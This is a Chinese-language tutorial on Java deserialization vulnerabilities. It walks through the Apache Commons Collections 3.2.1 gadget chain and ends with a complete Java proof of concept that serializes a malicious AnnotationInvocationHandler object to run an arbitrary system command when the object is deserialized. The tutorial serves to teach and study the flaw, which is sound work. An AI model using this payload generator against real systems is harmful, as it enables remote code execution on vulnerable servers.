JAVA反序列化漏洞
反序列化漏洞的本质是反序列化机制打破了数据和对象的边界,导致攻击者注入的恶意序列化数据在反序列化过程中被还原成对象,控制了对象就可能在目标系统上面执行攻击代码,而不可信的输入和未检测反序列化对象的安全性是导致反序列化漏洞的常见原因。Java序列化常应用于RMI(Java Remote Method Invocatio, 远程方法调用), JMX(Java Management Extensions, Java管理扩展), JMS(Java Message Service, Java消息服务) 技术中。
利用Apache Commons Collections实现远程代码执行
Apache Commons Collections作为一种公用库,其中实现的一些类可以被反序列化用来实现任意代码执行。这里以以Apache Commons Collections 3.2.1为例,解释如何构造对象,能够让程序在反序列化,即调用readObject()时,就能直接实现任意代码执行。
利用反射机制执行任意代码
国外研究人员发现 InvokerTransformer 类中的 transform() 方法允许通过反射, 执行参数对象的某个方法,并返回执行结果。
public classInvokerTransformerimplementsTransformer,Serializable{ private static final long serialVersionUID = -8653385846894047688L; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; privateInvokerTransformer(String methodName){ this.iMethodName = methodName; this.iParamTypes = null; this.iArgs = null; } publicInvokerTransformer(String methodName, Class[] paramTypes, Object[] args){ this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } publicObjecttransform(Object input){ if(input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } |
可以看到,通过 transform() 方法里的反射,成功调用了 StringBuffer 类的 append() 方法并返回结果。
调用transform()方法
接下来就是要找到某种类,会自动调用 InvokerTransformer 类中的 transform() 方法,构造代码执行。
Apache Commons Collections中实现了 TransformedMap 类,用来对 Map 进行某种变换,只要调用 decorate() 方法,传入key和value的变换对象 Transformer ,即可从任意 Map 对象生成相应的 TransformedMap , decorate() 方法如下:
publicstaticMapdecorate(Map map, Transformer keyTransformer, Transformer valueTransformer){
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer 是一个接口,其中定义的 transform() 方法用来将一个对象转换成另一个对象。如下所示:
public interface Transformer {
public Object transform(Object input);
}
而前面提到的 InvokerTransformer 类实现了 Transformer 接口,因此这里就找到了调用 InvokerTransformer 类 transform() 方法的途径。而现在需要知道的是触发 TransformedMap 类调用 Transformer 的条件是什么?
commons-collections 3.2.2 指出当执行 Map 类的 put() 方法或 MapEntry 类的 setValue() 方法会自动调用 Transformer 。另外多个 Transformer 还能串起来,形成 ChainedTransformer 。
从图中可以看出调用 Map 类的 put() 方法会自动调用 InvokerTransformer 类的 transform() 方法。
突破限制条件
虽然找到了自动调用 InvokerTransformer 类的 transform() 方法的途径,但是需要满足其触发条件:执行 Map 类的 put() 方法或 MapEntry 类的 setValue() 方法。显然这种方式还不够优雅,最佳条件是反序列化(调用 readObject() 方法)时就自动调用 InvokerTransformer 类的 transform() 方法导致代码执行。
java运行库中的 AnnotationInvocationHandler 类, 有一个成员变量 memberValues 是 Map 类型,而且 readObject() 方法中对 memberValues 的每一项调用了 setValue() 方法。
classAnnotationInvocationHandlerimplementsInvocationHandler,Serializable{ private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } privatevoidreadObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { // 此处触发一系列的Transformer memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); |
因此,我们只需要用前面构造的 Map 来构造 AnnotationInvocationHandler ,进行序列化,当触发 readObject() 反序列化的时候,就能实现命令执行。
// import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; /** * Created by js on 2017/5/6. */ public classTest{ publicstaticvoidmain(String[] args)throwsException{ /* * Runtime.getRuntime().exec("open /Applications/Calculator.app"); */ String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app"; String[] execArgs = command.split(","); Transformer[] transforms = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ), new InvokerTransformer( "exec", new Class[] {String[].class}, new Object[] {execArgs} ) }; Transformer transformerChain = new ChainedTransformer(transforms); Map tempMap = new HashMap(); tempMap.put("hack", "you"); Map exMap = TransformedMap.decorate(tempMap, null, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, exMap); File f = new File("payload1"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f)); oos.writeObject(instance); oos.flush(); oos.close(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f)); // 触发代码执行 Object newObj = ois.readObject(); ois.close(); } } |
这段恶意代码本质上就是利用反射调用 Runtime() 执行了一段系统命令,作用等同于:
((Runtime) Runtime.class.getMethod("getRuntime", null).invoke(null, null)).exec("/bin/sh -c open /Applications/Calculator.app")
当然,反序列化时自动执行任意代码还有其他方式,具体可以分析ysoserial源码,这里就不一一叙述。采用 AnnotationInvocationHandler 类也是有邮件限制的,是否能成功利用与JDK的版本有关。
注: jdk1.8.0_112实验失败.